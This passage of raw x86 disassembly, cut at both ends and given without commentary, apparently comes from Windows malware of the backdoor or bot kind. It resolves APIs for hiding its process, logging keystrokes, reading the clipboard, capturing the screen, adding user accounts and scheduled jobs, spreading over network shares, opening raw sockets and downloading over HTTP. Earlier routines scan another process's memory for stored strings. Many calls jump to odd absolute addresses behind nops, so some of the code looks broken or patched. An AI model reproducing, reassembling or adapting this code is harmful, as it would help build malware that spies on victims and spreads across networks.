[ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 2720696h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 2720282h nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 2710AB3h test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_439A38 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43A238 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 26A0667h nop test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 26A0000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43AC5C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43AC54, eax mov dword_43AC58, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2700000h mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] nop call near ptr 2631A0Bh pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2720696h test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 2720282h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 2710AB3h test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax nop call near ptr 2710000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 2720000h test eax, eax jz short loc_409602 push offset dword_439A38 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43A238 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax nop call near ptr 2700000h jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] nop call near ptr 2631A0Bh loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43AC54, ebx mov dword_43AC58, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2631A0Bh push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43AC50 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 2710000h nop mov ecx, dword_43AC50 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43AC58 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43AC5C push eax call dword_43AA3C push [ebp+var_4] mov edi, offset dword_43AA48 push offset dword_439A38 push offset dword_43A238 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2700000h mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43AC50 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 2710A68h nop push eax nop call near ptr 2710000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43A238 mov edi, 200h mov esi, offset dword_439838 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43AC50 add eax, eax push eax push dword_43AC58 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43AA3C mov eax, dword_43AC50 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 call near ptr 2710A68h nop push eax nop call near ptr 2700000h mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43AE44, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43ADB8, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43AD9C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43ACB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43AC64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43AC94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43AD08, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43ADF8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43AE54, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43ACC4, eax call esi cmp dword_43AE44, ebx mov dword_43ACAC, eax jz short loc_40991D cmp dword_43ADB8, ebx jz short loc_40991D cmp dword_43AD9C, ebx jz short loc_40991D cmp dword_43ACB8, ebx jz short loc_40991D cmp dword_43AC94, ebx jz short loc_40991D cmp dword_43AD08, ebx jz short loc_40991D cmp dword_43ADF8, ebx jz short loc_40991D cmp dword_43AE54, ebx jz short loc_40991D cmp dword_43ACC4, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43AE58, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43ADD0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj nop call near ptr 2650B3Dh mov dword_43AE5C, eax mov dword_43AE58, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26F07BDh mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43ADF4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43ADA4, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43AD38, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43AE48, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43AD68, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43AD88, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43ADEC, eax call esi cmp dword_43ADF4, ebx mov dword_43ACE0, eax jz short loc_409A0D cmp dword_43ADA4, ebx jz short loc_409A0D cmp dword_43AD38, ebx jz short loc_409A0D cmp dword_43AE48, ebx jz short loc_409A0D cmp dword_43AD68, ebx jz short loc_409A0D cmp dword_43AD88, ebx jz short loc_409A0D cmp dword_43ADEC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43AE60, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43AD64, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43AC78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43AD34, eax call esi cmp dword_43AD64, ebx mov dword_43AD20, eax jz short loc_409A74 cmp dword_43AC78, ebx jz short loc_409A74 cmp dword_43AD34, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j nop call near ptr 2650B3Dh mov dword_43AE64, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43AE60, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43AE08, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43AD4C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43ADBC, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43ACA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43AD04, eax call esi cmp dword_43AE08, ebx mov dword_43AD74, eax jz short loc_409B09 cmp dword_43AD4C, ebx jz short loc_409B09 cmp dword_43ADBC, ebx jz short loc_409B09 cmp dword_43ACA4, ebx jz short loc_409B09 cmp dword_43AD04, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43AE68, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43AD7C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43AD54, eax call esi cmp dword_43AD7C, ebx mov dword_43AE04, eax jz short loc_409B4E cmp dword_43AD54, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43AE68, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43AD8C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43AC80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43AC88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43ACE8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43ACEC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43AC9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43AD58, eax call esi cmp dword_43AD8C, ebx mov dword_43AC8C, eax jz short loc_409BFC cmp dword_43AC80, ebx jz short loc_409BFC cmp dword_43AC88, ebx jz short loc_409BFC cmp dword_43ACE8, ebx jz short loc_409BFC cmp dword_43ACEC, ebx jz short loc_409BFC cmp dword_43AC9C, ebx jz short loc_409BFC cmp dword_43AD58, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43AE68, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43AC84, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 2650B3Dh mov dword_43AE6C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43AE68, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43AD84, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43ADDC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43ADE4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43ADA0, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43ACC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43AC74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43ADE0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43AC60, eax call esi cmp dword_43AD84, ebx mov dword_43ACFC, eax jz short loc_409D05 cmp dword_43ADDC, ebx jz short loc_409D05 cmp dword_43ADE4, ebx jz short loc_409D05 cmp dword_43ADA0, ebx jz short loc_409D05 cmp dword_43ACC8, ebx jz short loc_409D05 cmp dword_43AC74, ebx jz short loc_409D05 cmp dword_43ADE0, ebx jz short loc_409D05 cmp dword_43AC60, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj call near ptr 2650B3Dh nop mov dword_43AE74, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43AE70, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43AD10, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43AE3C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43ACB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43AC90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43AD44, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43AD2C, eax call esi push offset aSocket ; "socket" push edi mov dword_43ACF8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43AE18, eax call esi push offset aConnect ; "connect" push edi mov dword_43AE34, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43AD40, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43AE24, eax call esi push offset aHtons ; "htons" push edi mov dword_43ADD8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43AD98, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43AD94, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43ACD4, eax call esi push offset aSend ; "send" push edi mov dword_43ACCC, eax call esi push offset aSendto ; "sendto" push edi mov dword_43ADE8, eax call esi push offset aRecv ; "recv" push edi mov dword_43ADFC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43ADB0, eax call esi mov dword_43AD70, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43ADC4, eax call esi push offset aListen ; "listen" push edi mov dword_43AD80, eax call esi push offset aAccept ; "accept" push edi mov dword_43ADC0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43AE2C, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43AD78, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43AD3C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43ADAC, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43AE1C, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43AD50, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43ACF4, eax call esi cmp dword_43AD10, ebx mov dword_43AE30, eax jz loc_409FD6 cmp dword_43AE3C, ebx jz loc_409FD6 cmp dword_43ACB4, ebx jz loc_409FD6 cmp dword_43AD44, ebx jz loc_409FD6 cmp dword_43AD2C, ebx jz loc_409FD6 cmp dword_43ACF8, ebx jz loc_409FD6 cmp dword_43AE18, ebx jz loc_409FD6 cmp dword_43AE34, ebx jz loc_409FD6 cmp dword_43AD40, ebx jz loc_409FD6 cmp dword_43AE24, ebx jz loc_409FD6 cmp dword_43ADD8, ebx jz loc_409FD6 cmp dword_43AD98, ebx jz loc_409FD6 cmp dword_43AD94, ebx jz loc_409FD6 cmp dword_43ACD4, ebx jz short loc_409FD6 cmp dword_43ADE8, ebx jz short loc_409FD6 cmp dword_43ADFC, ebx jz short loc_409FD6 cmp dword_43ADB0, ebx jz short loc_409FD6 cmp dword_43AD70, ebx jz short loc_409FD6 cmp dword_43ADC4, ebx jz short loc_409FD6 cmp dword_43AD80, ebx jz short loc_409FD6 cmp dword_43ADC0, ebx jz short loc_409FD6 cmp dword_43AE2C, ebx jz short loc_409FD6 cmp dword_43AD78, ebx jz short loc_409FD6 cmp dword_43AD3C, ebx jz short loc_409FD6 cmp dword_43ADAC, ebx jz short loc_409FD6 cmp dword_43AE1C, ebx jz short loc_409FD6 cmp dword_43AD50, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j call near ptr 2650B3Dh nop mov dword_43AE7C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43AE78, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43ACDC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43AC68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43AD60, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43AD14, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43AD6C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43AD30, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43ACA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43ACA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43ACB0, eax call esi cmp dword_43ACDC, ebx mov ecx, dword_43AD30 mov dword_43ADCC, eax jz short loc_40A0C1 cmp dword_43AC68, ebx jz short loc_40A0C1 cmp dword_43AD60, ebx jz short loc_40A0C1 cmp dword_43AD14, ebx jz short loc_40A0C1 cmp dword_43AD6C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43ACA8, ebx jz short loc_40A0C1 cmp dword_43ACA0, ebx jz short loc_40A0C1 cmp dword_43ACB0, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43AE80, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43AD48, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj nop call near ptr 2650B3Dh mov dword_43AE84, eax mov dword_43AE80, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43AD48, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43AD24, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43AE50, eax call esi cmp dword_43AD24, ebx mov dword_43ACBC, eax jz short loc_40A155 cmp dword_43AE50, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 2650B3Dh mov dword_43AE8C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43AE88, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43AC98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43AC70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43ACE4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43AD18, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43AE28, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43ACD0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43AC7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43AC6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43AD00, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43ADF0, eax call esi cmp dword_43AC98, ebx mov dword_43ADA8, eax jz short loc_40A260 cmp dword_43AC70, ebx jz short loc_40A260 cmp dword_43ACE4, ebx jz short loc_40A260 cmp dword_43AD18, ebx jz short loc_40A260 cmp dword_43AE28, ebx jz short loc_40A260 cmp dword_43ACD0, ebx jz short loc_40A260 cmp dword_43AC7C, ebx jz short loc_40A260 cmp dword_43AC6C, ebx jz short loc_40A260 cmp dword_43AD00, ebx jz short loc_40A260 cmp dword_43ADF0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj nop call near ptr 2650B3Dh mov dword_43AE94, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43AE90, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43ACC0, eax call esi cmp dword_43ACC0, ebx mov dword_43AD90, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j call near ptr 2650B3Dh nop mov dword_43AE9C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43AE98, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43AE14, eax call esi cmp dword_43AE14, ebx mov dword_43AE10, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j nop call near ptr 2650B3Dh mov dword_43AEA4, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43AEA0, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43AE40, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43AE38, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43AE00, eax call esi cmp dword_43AE40, ebx mov dword_43ACD8, eax jz short loc_40A368 cmp dword_43AE38, ebx jz short loc_40A368 cmp dword_43AE00, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 